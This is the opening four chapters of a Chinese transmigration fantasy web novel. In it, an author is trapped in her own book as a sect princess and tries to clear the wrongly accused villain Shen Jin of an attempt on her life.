《反派被我拯救黑化了》
1. 001.穿书
《反派被我拯救黑化了》
文/星弄
2024.11.20
晋江文学城独发
001.穿书
扑通!
凌酒酒恢复意识的时候,耳边听见的就是这么一声,继而所有五感被瞬间吞没,刺骨的冷与窒息感四面八方侵袭而来。
她睁开眼,冷水便刺得视网膜发痛,眼前也是漆黑一片。
“……”还是闭上吧。
她在心里大喊:【系统!谁家好人家穿书穿水里的啊!】
耳边很快响起系统的声音:【宿主别急,会有人来救您的。】
凌酒酒安详地阖上眼。
不知过了多久,久到凌酒酒几乎以为自己就要交代在这儿的时候,整个身体蓦地一轻。
一股力量将她向上一捞,身体骤然浮出水面。
她有意识,也能听见周围有人在嘈嘈杂杂地说着什么,但睁不开眼。
一阵施法声后,一股热流一样的东西钻入身体里。她身上的衣服瞬间烘干,人也变得暖洋洋舒服服的。接着喉咙一股呃气上涌,猛地一咳直接转醒。
“咳——”
“酒酒!”
“小师妹!”
“小宫主!”
身边立即响起一片杂七杂八的焦灼声。
她迷蒙看了看周围,虚弱问:“这是哪儿啊……”
周围人面面相觑,“这是栖星宫啊!”
凌酒酒了然,心中一声暗叹。
……
凌酒酒是个小说作者,《栖星谣》是她写的第十三本小说,也是第一本奇幻。
小说以栖星宫为背景,讲述了男主角江遥与女主角任紫依在修仙世界同窗修习、携手共进、除邪卫道最终结为道侣的故事。
小说上线后反响平平,唯一惹人热议的,却是故事里那个戏份寥寥,却存在感超强的大反派——沈烬。
大反派沈烬,原也是栖星宫中的一名弟子,却无情冷血、阴郁狠辣,因经年私怨,将整个故事搅得天翻地覆,还险些跟男主同归于尽。
但可恨之人必有可怜之处,他同时还拥有一个极其悲惨的身世和完整的故事线。命如蝼蚁、卑微可欺。是屡次想要活下去却被逼死路的绝望、是数次有了希望却又狠狠破碎的悲哀、是普通人想反抗命运却被迫打断脊梁骨。
他的故事线在完全展开的那一刹那,网上原本对他的骂声全部转为了一片心疼,以及对作者的开炮。
【作者你没事吧?有你这么虐人的吗?就你给烬烬经历的这些,换谁谁不黑化啊?换我我创死全世界全宇宙都是轻的了好叭?
你*****!******!!你就应该穿到你自己的书里,感受一下自己笔下的人物究竟过得有多惨!然后被困在你的书里,成为被人欺负打压的蛆虫蝼蚁!发烂!发臭!!】
凌酒酒气血上涌,刚想回骂。她——穿书了。
步入穿越隧道时,凌酒酒耳边响起系统的声音。
【宿主您好,恭喜您触发穿书系统,以下将由我来带领您走进您的穿书之旅。】
凌酒酒:啊哈?
系统:【本次您穿的书为《栖星谣》;】
【本次您将有两个任务,任务完成后,即可回家。】
【任务一:您要阻止反派沈烬的黑化之路;】
【任务二:您要推动故事线照常走到原书结局。】
【祝您的穿书之旅圆满顺利。】
凌酒酒:“……系统你没事吧?我这书后面很多情节都是他黑化导致推动的,你又让我阻止他黑化又要走完原结局,你这是逼我自己黑化呢?”
系统嘿嘿两声:【您有这个能力吗?】
“……”
系统:【总之,任务完成后宿主便能回家,否则您将永远被困在书里,现实世界原身消弭。祝您好运。】
左右已经这样了,既来之则安之,凌酒酒索性先听天由命。
……
思绪转回来,凌酒酒望着周围这一个个身着古装、面色担忧、小心翼翼的陌生面孔——一个都不认得!
她为防破绽,随手抓住身旁一个雾蓝衣衫的女子仓皇道:“师姐!刚刚是发生什么了?我好怕怕……”
“小宫主你这是怎么了?我是你的灵物阿雾啊!”哪知女孩比她更无措,“你不认得我了吗?”
啊?
“啊阿……雾?”她尴尬,掩饰性地咳了咳,干笑着挠挠头,“……不好意思,刚刚在水底撞到了头,一时……一时没反应过来呵呵……”
她顶着一圈疑惑丛生的目光挺了挺胸膛,虚张着声势颐指气使,“你,你们怎么才来啊!我……我刚刚差点都被淹死了知不知道!”
她料想自己穿来的原身应当身份不低,否则不会因为一个落水就动用这么多人,还身伴化形的灵物。
哪知话落,周围一时更噤若寒蝉,无一人敢说话。
半晌,其中一个看着最为气质出尘却不苟言笑的男子开了口,虽语气是恭敬的却隐约含责备。
“小宫主若无事,就烦请先起身回宫吧。现下双峰十四宫都在寻您,勿要让各宫师长忧心。”
话毕,他执剑向她一揖,转身走向洞口。
四周仍敛声屏气大气不敢出。阿雾等他身影走远才敢小心翼翼开口,“小宫主……你怎么这样和破军星官说话啊!”
啊?
破军星官莫飞澜——是他们这届第一个也是唯一一个考授上星命的师兄。虽只是个丁级星官,但到底是个星衔,凌酒酒这一举也未免太不客气了些。
看着远处仙气飘飘的背影,凌酒酒泄气。
穿书五分钟,踩了八个雷。
-
一抹流星划过夜空。
仔细看去,却会发现是一群栖星宫弟子踏剑而行。利刃破风穿透云层,转瞬即千里,飒沓如流星。
到底刚刚受了惊,凌酒酒被护在众人中央,阿雾伴在身旁,莫飞澜等一众师兄姐在最前方。
莫飞澜问道:“那个沈烬,怎么样了?”
“师兄放心,刚刚已收到师姐的星音传信,沈烬已被押送到十二长生殿等待发落。”
“那就好。”
“沈烬”的名字,让凌酒酒神思立凛,悄悄问阿雾,“……沈烬?”
“小宫主放心,这个沈烬,不识好歹,居然想害您!”阿雾立刻如临仇敌,“幸好我们及时赶到,诸星君一定会为您讨一个公道的!”
凌酒酒头皮一麻,忽然将这个节点与自己书里相对上。
栖星宫南北二斗十四主宫,皆以宫主凌云木为首。宫主膝下有一女,是整个栖星宫众星捧月的小宫主。
这位小宫主自幼命格清奇,却身体虚弱,所以自出生起便被送到九鹭山休养,直到十五岁才接回。
栖星宫每逢季末,都会举行一场历练考试。
而这一季的历考,这位刚回宫的小宫主恰巧与沈烬分到一组。
这时候的沈烬,还是一个不起眼的小透明,因命格因素,在栖星宫中的地位也较边缘化。
可好巧不巧,这次历考,小宫主不甚坠入碧寒潭身亡。而和小宫主同组的沈烬,自然成了第一嫌疑人。
按理说小宫主和沈烬此前素未蒙面无冤无仇沈烬也不存在害她的理由,但到底没了小宫主,沈烬还是因此受了责难,受了十七道星魂钉之刑,直接钉没了他半条命。
沈烬原本就在栖星宫中处境尴尬,这一下更是艰难。人人忌惮,人人唾弃,久而久之,走上了那条无法回头的黑化之路。
可以说,是他黑化之路的开端了。
因为只是一个推动角色,所以凌酒酒当时写的时候,连小宫主的名字都没起。看来,自己恰好就是穿到这个小宫主身上了。
到栖星宫,拨云见雾。双峰十四宫如一座座宫殿伫立在星河尽头,连延成一片璀璨星宿
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。
长生十二神殿巍峨耸立,如一片片浮云岛浮在半空,星斗流转灯火长明。
长生十二神殿之第八殿——“死”殿:主刑罚、审判。
十四宫的宫主几乎都来了,整个大殿乌泱乌泱都是人。各宫弟子分宫而立。莫飞澜一行人自空中落地。数位宫主立即迎上前。
“飞澜!”
“酒酒!”
“你们回来了!酒酒怎么样?我看看我看看……”
凌酒酒被几人围着扒拉来扒拉去地看,尴尬又无措,也不知道该说什么,只能干笑着随口应和。
目光无意间掠过大殿刑台上的一道身影,一怔。
时逢寒冬,朔风凛冽,天上飘着细雪。
一道身影正跪在刑台之上,看身形不过十六七岁的少年,他双腕被束仙索禁锢高悬。乌睫黑发,微低的脸稍有些看不清面容,只显出几分苍白。
他应当刚挨过鞭刑,身上宫服的二十八星宿图都支零破碎。
殷红血迹渗透了银白宫衣,也衬得他此刻格外惨烈狼狈。
凌酒酒心跳赫然蹦得飞快睁大眼,强压着才没令自己惊呼出声来。
——沈烬!沈烬!
这是她的后儿砸沈烬!她可是第一次见到纸片人在自己的面前啊啊啊!
身旁的莫飞澜问道:“师伯,沈烬审的怎么样了?”
一个白胡子老者轻叹,转头看向刑台向他示意。
刑台旁,七杀星君正执鞭审问:“沈烬,你可知罪?”
他轻咳,这一刻才微微抬起些脸来,漆黑的瞳映出几分平静的淡漠,“欲加之罪……”
“逆徒!还在狡辩!”七杀星君神情一厉,又一道长鞭落下去,“若非你蓄意戕害凌酒酒,你身上又怎会有独属于凌酒酒天同宫的术法?当时事发因果还不速速招来!”
破焰鞭破肤入骨,因有法力加持,能让人血流不止却不致死,痛不欲生。
他不再言语,沾满血污的手只抓紧了束仙索,眼底的死寂俨然习惯。
凌酒酒看着心尖都不自觉一颤,她一个法治社会的现代人哪看过这个……
“他不承认又何妨?敢动酒酒,杀了便是。”这边,莫飞澜道。
说话间,他剑已出鞘,剑尖直指刑台的方向。
凌酒酒大惊失色还没等去拦,“放肆!”身旁的白胡子老者已经一道灵气阻住剑气。
“各宫星君皆在此,哪轮得到你动用私刑,还不下去!”
莫飞澜抿唇收剑,“弟子知错。”
“沈烬,本君再问你一次。”刑台旁,七杀星君说:“你可知罪?”
他仍不言语,有血丝从他抿得发白的唇间溢出来,似乎还很轻地笑了下。
七杀星君无奈沉息面向了另一人,“天刑星君,请您定夺吧。”
“这……不好定啊!”天刑星君面露难色,“宫主闭关,又没有确凿的证据证明确是他所为,这……”
话还没完,七杀宫所在的位置突然响起一片声音。
“杀了他!”
“对!杀了他!”
“我们七杀宫不留这样的宵小之徒!”
“南斗峰的耻辱!”
凌酒酒惊讶看着这周围的骚动本想静观其变。只听天刑星君像顶不住压力叹息道:“那就……先罚七道星魂钉之刑?其余的等宫主出关后再行定夺?”
他说着指尖闪出光亮,数道细小的魂钉浮在半空,顷刻就能直刺而去。
“等等!”千钧一发之际,凌酒酒再不管不顾直接站出来,仓促道:“谁说没有证据?我不就是个活证人吗!”
一时之间,所有人都聚焦在她的身上,神情各异不解其意。
沈烬都不禁抬了抬眼。剧痛导致的迷蒙视线里只能看到一截星宫统一的银白色裙摆,尾端绣着的独属于天同宫的水蓝色花纹灵动轻快。
“我证明——”
“是沈烬害我!”
2. 002.星宫
大殿一瞬鸦雀无声,转瞬才掀起一片惊骇的哗然。
沈烬的目光极微地闪动了下,墨色睫毛无声坠下一滴冷汗。他视野里还是只能看清一截绣满了水蓝雪浪的裙尾,只是这一刻眸里渐攒起一丝冷意,还忍不住自嘲笑了声。
他就知道……会是如此的。
这世界没有人会想让他活着,他们都想让他死。
恨不得杀之而后快。
他涩咽了咽血唾闭上眼,不再看。
“沈烬,你还有何话说?”七杀星君很快质问。
他不答,剧痛让他迷离的思绪和听觉也似分离开来。
“此等戕害同门之徒,断不能留!”
“违天害理,当重惩不贷!”
天刑星君无奈叹息摇头,指尖的光亮却不再犹豫,星魂钉浮在半空的光亮也越来越盛,震动剧烈一触即发。
“诶等等!等下,再等下!”凌酒酒再一次仓促出声,这一次干脆直接拦到沈烬身前了,翩跹的裙摆轻扫过他的鼻尖。
沈烬几不可查地蹙了一下眉。
凌酒酒:“各位师伯师父师叔师兄师姐们,我在此再有一个问题想要问诸位。那么沈烬——究竟是为什么要害我呢?他害我,对他来说究竟有什么好处呢?他这么做的原因又是什么呢?”
四下所有人忽然又不说话了,再次你看看我我看看你地面露疑惑。
沈烬也颇复杂地再次抬眼瞥了瞥眼前那角衣裙。
其实凌酒酒也不知道究竟是谁害了小宫主——亦或者只是小宫主自己不甚失足落水。她只是能确凿——不是沈烬。
毕竟这世界是她创造的,故事线也是她梳理的,她自然最了解前因后果。
原书中,小宫主身亡的情节只是一个转折点。
当时为了留白,她压根就没写这背后推手是谁。只重点写了他蒙受冤屈、他受了钉刑后的痛苦悲惨,他之后如履薄冰的艰难处境,以及他穷途末路只能走向黑暗的无奈。
何况在一个单独只有他们两个人的地方,身上还带有别宫术法的痕迹下,害一个和自己无冤无仇的人,未免也太明显了。沈烬他是“黑”,但他又不是蠢,若他真想害谁,怎么可能会把自己放到一个这么危险的境地。
有人似乎也想到了这一点,立时问:“沈烬,你究竟为何要推害小宫主?从实招来!”
距离近,凌酒酒一刹只听见自己身后的位置传来轻哂的一声,似乎是在说:真蠢。
凌酒酒也厌蠢到想摇头,很快还是努力挺起胸膛一人对着这齐刷刷的上千双眼睛。
有人道:“历考互争雄长,即便是同组也是竞争对手。或许是他觉得争你不过,这才痛下杀手!”
凌酒酒:“为了一次历考的成果就杀人害命,未免得不偿失。”
“可他身上有你们天同宫的痕迹!”
“你当真觉得,我能伤得了沈烬么?”凌酒酒抱起双臂笑吟吟。
——栖星宫人人得知,栖星宫的小宫主凌酒酒,命宫是万里挑一的绝绝清奇,可根骨体质却虚弱得形同废柴,连最基础的本命宫术法都修得差强人意。
这样的她对上沈烬,莫说能给他留下伤痕,沈烬若真想害她恐怕能有千万种方法杀她于无形,何至于将她推入寒潭里。
四下又是一片交头接耳声,有人似乎开始狐疑摇摆了。凌酒酒仔细观察着周围的动向不禁微微翘起唇角。只听忽然又一个不知她笔下哪个炮灰厉声道。
“灾星竖子,包藏祸心!天性嗜杀者杀人要什么理由?或许他就是想杀你了,就杀了而已!”
“……”凌酒酒无语了,这和没理硬讲有什么区别?
沈烬发白的唇边也扬起一道薄薄的弧度,似讽刺也是自嘲。
凌酒酒没再理会那个炮灰的脑残发言,转而面向一众星君凿凿道:
“各位师伯师父师叔师兄师姐们,我想说的其实是,我虽然不知道究竟是谁害我跌入的碧寒潭池中,只是在无凭无据下就贸然处置了沈烬,未免有失公允。”
“我当然可以说沈烬害我,可若我说是他害我,那就是他害得我吗?那是不是我说不是他害我,就能马上证明他无罪当庭释放了呢?”
“所以我还请各位各位师伯师父师叔师兄师姐们先查明真相,再做定夺!”
她说完,向所有人做了个执礼的姿势。一抬手却压根不知道该怎么做,索性做了个“恭喜发财”的手势就放下去。
一众星君却似根本没发现这点小细节。天刑星君轻捋着胡须思忖片晌道:“那就,先押入天星牢,待查明真相后再做处置吧!”
束仙索应声而断,沈烬双腕失了束缚直接倒在刑台之上。
凌酒酒讶了一下刚想去扶,身旁已有几个弟子上前左右搀扶住他向牢狱的方向拖去。他浑身是伤,遍体血迹,仓促间只来得及微微抬眼对上一双清凌凌的眼,怔忡而忧心。
-
凌酒酒所在的天同宫位于栖星宫北斗峰,是北斗甲级的正曜主星之一。忙活了大半晚,诸宫在暂时发落过沈烬后便纷纷离去。凌酒酒也在阿雾和几个天同宫弟子的围护下回到居所。
“小宫主,让我看看你身上还有没有别的伤。”
“啊不用不用不用不用……”
“小宫主,还是让我看看!”
“哎呀阿雾啊,我现在头晕,脑胀,体乏,想睡觉。我先睡了你也回去早点休息昂!”
推拒掉阿雾分外热情的关忧关上门,凌酒酒来不及观察这屋中的陈设就赶紧敲了下头,小声呼叫。
“系统!系统系统!系统!”
脑中片刻响起系统的声响,【宿主。】
“快告诉我,是谁推小宫主掉碧寒潭陷害沈烬的?快说快说!”
系统像是咳了一声,【宿主,这小说是您写的,世界都是您创造的,凶手是谁您还不知道吗?】
“……废话,我要是知道我还用问你吗!”
【可我知道的信息和您书中都是一致的。】
“啊?!”
那她岂不是自己给自己挖坑了?
凌酒酒:“可我书里压根就没写这些啊!”
系统:【不曾写,不代表没有,就如同今夜的天象,浓云遮星蔽月,您看不见星星月亮,不代表天上没有了星星月亮。】
【正所谓道之为物,唯恍唯惚,惚兮恍兮,其中有象……】
“……”凌酒酒不想跟它讨论哲学问题,到底小宫主这具原身身体不好,这会儿倒感觉真的犯困了,打了个哈欠便仰躺在床上。
迷迷糊糊时,系统已经停止了念经,说:【对了,宿主,我还要向您补充两
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个协议。】
【第一,您不可向这个世界的任何人透露有关穿书的任何事宜,否则您的原身和现身都将立即抹杀掉;】
【第二,您不能直接向任何人提供您所知道的信息,否则后果同上。】
【今日是您穿书来的第一天,仍旧祝您好运。】
凌酒酒已经睡过去。
这一晚凌酒酒做了冗长的梦,梦里的她一会儿是大学生扑街作者“零九九”,一会儿是栖星宫众星捧月的小宫主。各种光怪陆离最终都化作了栖星宫的瑰丽盛大。她笔下的世界如一卷长画卷在她面前徐徐铺开,比她想象的还要浩瀚、壮丽。
栖星宫,分南、北斗二峰、十四宫;九阁、十二神殿。主掌星辰变迁、天下运呈。
在这个修仙世界里,栖星宫当属仙门百家之首,可和大多的修仙宗门又不太一样。
他们不属凡人,也不属神明。他们界于神明与凡人之间,下承载黎民众生的气运平衡,上承托世间万物的祈愿希冀上达天听,可谓人与神的链系。
正所谓,修仙就是登天梯、叩山门,山门之上还有神,就是这个意思。
如今天下时局动荡,不少凡人百姓都希望将自己的孩子送入宗门里,不求飞升成仙,只求吃饱穿暖。
栖星宫每三年亦会大开宫门向天下广招有仙缘的弟子,或是下山历练时带回有修仙根骨的遗孤弃儿,为星宫的各职级星命做储备。
这世间的所有生灵,人、兽、哪怕是蜉蝣蝼蚁,其实生来命宫里都会有一颗本命星。
当入宫的弟子修行至化气阶段,紫微命盘便会显现其命星,弟子便可划分到相应的本命宫中,进行专长修习、考授星命。
如小宫主凌酒酒,便是命宫天同星,主仁慈、主福气;
天同在,可保世间福气不散,仁善永存。
沈烬其实是栖星宫主凌云木从外捡回来的孩子。
八年前,栖星宫主凌云木下山历练,自人间捡回一个流浪的男孩。他资质极佳,根骨纯粹,一如门当即成了整个栖星宫上下的香饽饽。
在栖星宫的早些年,沈烬曾也是诸星君交口赞扬的种子选手。
他天赋出众,冷厉聪慧,十四宫上下都在等着看星盘为其批命花落谁家。
直至十二岁那年,沈烬作为星宫内历来最快修至化气的弟子,紫微命盘批其命格,却映出他命宫命星为:七杀、灾煞、绝命、天厄等。
七杀星——南斗八星之一。却也是十四星中最为凶悍肃杀的凶星。
七杀原就偏执凶猛,他命星后又有一众凶星入命,整个栖星宫上下当即震骇,判处他这命格当乃凶星现世无疑。
此后,南斗峰以他为耻,七杀宫欺辱排挤。七杀星君忌惮他的命格天资,不敢教授他真才术法,亦不敢将他放逐出宫滋生祸乱,只能将其边缘化。
他在栖星宫中的处境也彻底不尴不尬。可谓跌落神坛,卑微成尘。
凌酒酒当初写的时候,本没想那么多,只觉得作为全书中最重要的大反派,他的黑化之路本就该有个合理的逻辑线,不手软下刀笔下每个角色也是一个作者的基本操守。
可是当她真的看见他在自己的面前,看见颇焰鞭打得他鲜血淋漓,看见寒风朔雪里少年拼命挺直却挺不直的苍白身影。她还是……心生了不忍。
3. 003.沈烬
凌酒酒第二天早晨醒来的时候,还有些精神恍惚,瞪着眼盯着天花板半晌才反应过来此情此景。
哦,对。
穿书了。
她起床,坐在镜前拍拍脸颊才逐渐清醒,精神抖擞地开始四处观看。
昨夜回来得晚,她又急着向系统问事,连这房间都没来得及参观就睡了。
房间约莫五六十平米,雕花窗桕,素罗帐幔,空气里微微萦绕着淡淡檀木香,一角一隅都是整洁雅致的。
只是偌大的房间只有一张桌案、一张床、一个妆奁和一个衣柜。
若非窗外的流云星海告诉她这是栖星宫,她简直错觉这是拎包入住的古风精装修出租屋差不多。
“……”
都说修仙之人主清净,凌酒酒当时设定的时候便将整个星宫的陈设设置得朴素清雅了些。早知道,她就应该写成个壕门皇宫,金子地砖琉璃瓦,白玉雕梁镶宝珠,分分钟闪瞎眼。
不过再怎么说,这都比她在现代租的那个小鹌鹑窝要好得多得多,凌酒酒感叹过后还是挺心满意足。
“系统,谢了啊!”
系统却许久没传来声响。
想来这系统也会消极怠工地偷懒摸鱼,凌酒酒没想许多,简单洗漱过后便到衣柜前换衣裳。
栖星宫的宫服是统一的银白色,交领广袖,冰丝束腰,背后是以银线绣的二十八星宿图。
只在袖口与裙摆加绣每个宫不同的所属色与花纹,以此区分所属的宫系。
如天同,就是五行属阳水,为浅蓝,花纹便形似澈蓝的水浪。行动时二十八星宿就似在翻腾的浪里熠熠生辉。
凌酒酒挑了一件崭新的宫服,身上的旧衣刚脱下来,一样东西随之掉在地上。
……诶?
那是她随身多年的项坠,是一个曾对她很重要的人赠她的。
她目光看着项坠的图形突然把它和宫服上的栖星宫徽对比在一起。这不是……
还没等看出个究竟,房门被敲响,是阿雾的声音。
“小宫主,破军星官来找你了。”
凌酒酒匆匆收了坠子去开门。
破军星官莫飞澜是凌酒酒这一辈顶出色的师兄,但算起来,小宫主凌酒酒和他还算旧识,因为他是小宫主所救。
数年前,小宫主凌酒酒还在九鹭山养息时,曾在山中救下一个命在旦夕的少年。她祈求九鹭仙君将他暂留在九鹭山,救以性命,赐以姓名。
后来栖星宫有人例行上山看望小宫主,感知到莫飞澜的根骨不错,干脆将他带回了栖星宫修习。
数年后,当小宫主回到栖星宫时,他已不负所望果真成为了破军星官。
门开,莫飞澜的清逸身姿正站在门前,“酒酒。”
一向威严的面孔也透出几许温和,宫服上深蓝的破军水滴图纹深浅分明。
到底昨天刚在他面前出言不逊过且她已非他所熟知的小宫主,凌酒酒还是有些尴尬的,干巴巴笑笑不看他的眼睛,“莫师兄。”
“昨夜事急,加上诸宫师长都在,我不好直接送你,这才承托阿雾多加悉心。”莫飞澜道:“你怎么样?身体可好些了吗?”
“好些了,好些了……”凌酒酒干笑着回应。
莫飞澜:“昨天在碧寒潭洞,你突然发了脾气,当是吓到了。但当时诸多师弟妹在场,我不好直接包庇,这才对你语气重了些,你见谅。”
凌酒酒微讶抬了抬眼睛,连连摆手心也放下了些,“没有没有……莫师兄,是你见谅。我昨天……确实一不小心吓到了脑子一抽语无伦次,你别介意,别介意呵呵……”
莫飞澜唇角微弯说:“不会。”
凌酒酒浅松一口气。
半晌,莫飞澜又道:“酒酒,我有另一件事想问你。”
凌酒酒正起神色。
他微顿了几秒像思忖什么,才说:“昨天在碧寒潭的事,你当真都记不清了吗?事发经过是怎么样的都想不起了吗?”
凌酒酒心一提很快又敲鼓似的跳起来。天爷呀!她又不是真的小宫主,她哪是记不清她压根没有记忆啊……
她小心翼翼试探,“是星君们有什么新的发现吗?”
莫飞澜:“不曾,只是你昨天提出要查明真相以免误冤了无辜者,可当时在场的人只有你与沈烬,但沈烬坚持说是另有他人将你推入碧寒潭中,但当日除你之外的所有天同宫弟子皆有不在场的人证,我只能来问问你。”
凌酒酒微松了口气,干笑着挠头装傻充愣,“我……呵呵,我昨天在水底下是真的把头给撞到了,好多事情都想不起来了,呵呵,呵呵呵……”
莫飞澜淡哂,“无妨,你且好好休养,若想起什么再来告知我便是。”
看着他转身走远的身影,凌酒酒抱臂叹息。
凌酒酒对莫飞澜这个角色的印象还真的不太多,只是当时写文时寥寥提过几笔。
他性子偏淡,但因一直心怀小宫主的救命之恩所以始终对她是特别的,也因此在处置沈烬时坚决严惩。
小宫主逝世后不久,他便自请离宫回九鹭山了。
后来的剧情不需要他,他便再也没出现过。
“占了你喜欢之人的身体,可也算变相救她一命……算是幸还是不幸呢?”
不过这一次的“小宫主”没有身亡,想来莫飞澜……也不用离宫了吧?
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凌酒酒在大半个栖星宫中溜达了一圈,一无所获,最终还是决定去一趟天星牢。
如莫飞澜所说,昨夜诸宫星君虽然答应她会查明真相,可到底宫内日常琐事繁多,各宫星君只派了几名弟子查探,可此事线索寥寥也完全卡在了这儿。
看来,还是要在沈烬身上找突破口。
天星牢同样位于十二神殿的“死”殿,是一个巨大的星图法阵。法阵镇压得整座牢狱如同一座密不透风的罩,其中氛围也肃寒阴冷。
凌酒酒去时,沈烬正在牢中闭目调息。
他身上的血迹已干涸,衣发面容也重新整理过,不再似先前那样惨烈狼狈,但身姿仍苍白削瘦。
“沈烬……”
“噗嘶噗嘶……沈烬!”
凌酒酒在牢狱外轻拍着栏杆小声叫他,他不应,只紧阖的眸睫似有若无蹙了一下。
有微浅的气流在他周身徘徊,凌酒酒料想他大抵是在疗伤,不喊了,索性抱膝往下一蹲就这么隔远平视着观察起他来。
在原书中,凌酒酒曾写过,沈烬应当算是这世界里数一数二好看的少年。他的俊俏几乎不输男主角江遥。
冷峻英俊,沉静落拓,冷峭得像把淬雪的钢刀。
曾同样几近巅峰的天之骄子,坠落时,所产生的张力与震撼才是巨大的,在最终黑化后才会更令人扼腕感叹。
昨晚事发太急,她看到他时他又浑身是血,其实根本没大看清他的模样。
这会儿少年静静坐着,白衣似雪,雪肤乌发,发白的唇很薄,墨色睫毛如鸦羽一般低垂紧阖。
整张脸都很沉静俊俏,衬得他身上那些交错可怖的血痕都像是落雪的梅花。
凌酒酒看着看着心跳渐渐快起来,强忍着激动在心中大喊。
呜呜呜呜不亏是她的儿子!后儿子也是儿子!
她儿子果然不负她的想象真的长得真好看啊!呜呜呜呜!
沈烬睁眼,恰巧与她弯起的唇与冒光的眼相对上。
“……”
沈烬的目光也像微讶了一下后恢复了本身的平淡,“你好像很高兴。”
他声音也有点伤后的沙哑,但是淡漠的。
“……咳,那倒是没有。”凌酒酒轻咳,努力抿抿唇把唇边的弧度绷住了,从怀里
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捧出一堆瓶瓶罐罐来顺着护栏递进去。
“我,我给你带了些伤药。我估计着你还得在这里住上几天,但你身上的伤不管不行,所以先凑合着用用。”
她拿着一罐金疮药手伸进护栏递给他,距离稍远,她无论怎么努力也够不到他。
沈烬却始终静坐在原地巍然不动,盯着她不说话。
“接啊!”
“小宫主,普通的金疮药对颇焰鞭是无效的。”
“啊哈?”她尴尬,正拼命递药的动作也一卡,顿了两秒讪笑着收回来,想了想还是一股脑将那堆瓶瓶罐罐塞进栅栏里。
“不,不好意思啊,我这太久没回来了还……还真给忘了哈哈!那个……那什么,要不你还是留下吧,左右都是药,大不了当补药吃。”
这一回换沈烬:“……”
他到底身上有伤,行动不便,起身时略微迟缓。
凌酒酒透过他衣衫的破口隐约可见他身上的伤痕,深纵透骨骇然可怖。他默默挪上前将一瓶药握住了。
“小宫主,你来找我是?”
“哦!”凌酒酒这才问起有关昨日的情形始末。
沈烬沉吟,道:“当时小宫主与我本想采集碧寒潭边的殊灵草,我在前,小宫主在后。我听到声响时小宫主已经坠入碧寒潭。”
“我回神时那人就已用天同铸打了我一掌,他行迹很快,蒙着面,我的确没看清他的脸。”
“这样啊……”凌酒酒叹息,那可真是奇了。
天同铸乃天同宫本命术法,所有天同宫弟子又都有不在场的证人。那难道是她的书出了bug,凭空冒出了个薛定谔不成吗?
但她仍旧很快看回他说:“行!我知道了,你先在这儿好好养伤,放心吧!我肯定查出来到底是谁的!”
“小宫主。”沈烬在身后叫住她。
凌酒酒回眸。
他瞳孔幽黑,一瞬不瞬地盯着她像是审视也像试探,问:“你怎知不是我。”
“本来就不是你啊!”凌酒酒却一笑,颊边映出两个梨涡浅浅,一双杏眸澈亮流转。
凌酒酒走后,沈烬半弯下腰轻咳两声沿墙坐下来,指尖翻转再次运功疗伤。
昨日重重如烟云在脑海中飞快掠过,他蹙眉。
昨日历考,他与那个阖宫上下皆传言是废柴的小宫主凌酒酒分到一组,本就没想过取得什么成果。栖星宫上下不会授予他星命,这小宫主想来也是个累赘,他马马虎虎考完算完。
果不其然,天魁星君给他们俩的题目也是众组中最简单的——至碧寒潭取殊灵草。
题目揭示的刹那,周围的嘲笑声都连成一片,直声称这简直是个三岁小孩都能完成的任务。
可就这么一个三岁任务,让他险些折在上面。
当时他听见声响的时候,凌酒酒确实已经跌入碧寒潭,他在回头的刹那看到了一个飞闪而过的身影。
他在那一刻本有两个选择:去救人、亦或去追人。
他不加思索第一时间便追上去。
这人看似要害的是凌酒酒,但他何尝想不到其实是针对他。想来他就算真救了凌酒酒对方也能有无数个说辞陷害于他,倒不如当场抓获得好。
果不其然,这人在被他追上后招招下杀手,却不击他要害,使的天同铸,可惜功法修得不怎么样,分分钟就要被他掣肘。
可惜就在这时又一队人过来说他害了小宫主,给了那人趁机逃脱的机会还反手打他一掌。
蠢……
愚蠢至极。
不过就算再来一次,他依旧还会选择追上去,然后再不会想着活捉他真面目,干脆一击毙命得好。
至于那个凌酒酒……
气息渐渐平稳下来,沈烬睁眼,目光淡淡落在那一小瓶药上。
死不死,和他有什么关系。
4. 004.引蛇
凌酒酒一连在栖星宫上下晃悠了几天,始终杳无收获。
不仅如此,先前那几位被星君派出查探的弟子都似渐渐不查了。所有人对这件事也仿佛遗忘了般,阖宫上下一片其乐融融岁月静好。
凌酒酒对这情况颇无语,无数次想呐喊究竟还有没有人记得沈烬!
可再一想他目前的处境都是她设定的,凌酒酒又不禁有些惭愧,在心中咆哮过后就继续滚去灰溜溜找线索了。
凌酒酒哀叹,“系统,你非要这么难为我么?我又不是警校毕业的。就不能把这情节囫囵过了然后快点走完剧情送我回家么?”
系统便喜闻乐见看热闹似的道:【那就看您自己选择喽,宿主。世间万物皆有因果。您不可能在登上第一阶后就登上第三阶,您可以尽情选择走原书剧情到下一个节点再做改变,抑或改变当前节点。如今您是局中人,万般皆是您一念。】
凌酒酒在心里给它翻了个大大的白眼。
别人家的穿书金手指满地咔咔乱杀爽上天,她倒好,绑了个屁事都没比她知道更多的系统还动不动就反过来嘲笑她。
不过凌酒酒心里倒暗自掰算起来,凭着记忆开始捋原书的情节节点。
如今栖星宫主——也就是小宫主的娘闭关,其余十三宫宫主其实皆处于不知如何处置的状态。
原书小宫主逝世、沈烬受刑,几大星君原是想杀之处之,还是宫主凌云木出关后本着仁慈饶他一命,这才令他绝处得生。
眼下钉刑这一关倒是被化解了,她若能坚持拖到宫主出关想来他的牢狱之刑也能解决掉。
只是若不能在这个节点还他清白,他恐怕还是会带着这个嫌疑为人轻鄙。
叹了口气,凌酒酒让自己先不再多想,迈步跨进天星牢。
凌酒酒近来倒是经常过来找沈烬。
沈烬也不知这位小宫主究竟是哪儿来的善心大发与热情,自那日送药之后,时不时便上门来“嘘寒问暖”、添衣加食。
都说天同主善,如今北斗峰破军宫那个颇受重视的破军星官莫飞澜当年也是为她所救。只是他当下身上害她的嫌疑尚未洗清,她就这么不计前嫌地来关心一个有害她嫌疑的人,未免也太没没心没肺了些。
就真能善良成这样么?
今日凌酒酒抱来的是一堆柴火,噼里啪啦的木柴一股脑撂在地上,凌酒酒大功告成地拍拍手跺跺脚。
沈烬仍旧坐在牢房角落淡淡看着她,问道:“这是做什么?”
“取暖啊!”凌酒酒笑吟吟。
如今已入四九天,滴水成冰,天星牢中更是冷风嗖嗖,寒意刺骨。
她上次来时就觉在这牢里待得冰手冰脚,而他身上还带着伤,想来更会冷得难受。
将木柴垒成一个小山垛,凌酒酒生涩地捏诀开始生火。
“乾三连,坤六断,离为火——燃!”
木垛最顶端的木头冒了一缕烟,然而一颗火星都没蹦出来过。凌酒酒一眨一眨地盯了半天才有些尴尬看了看沈烬。
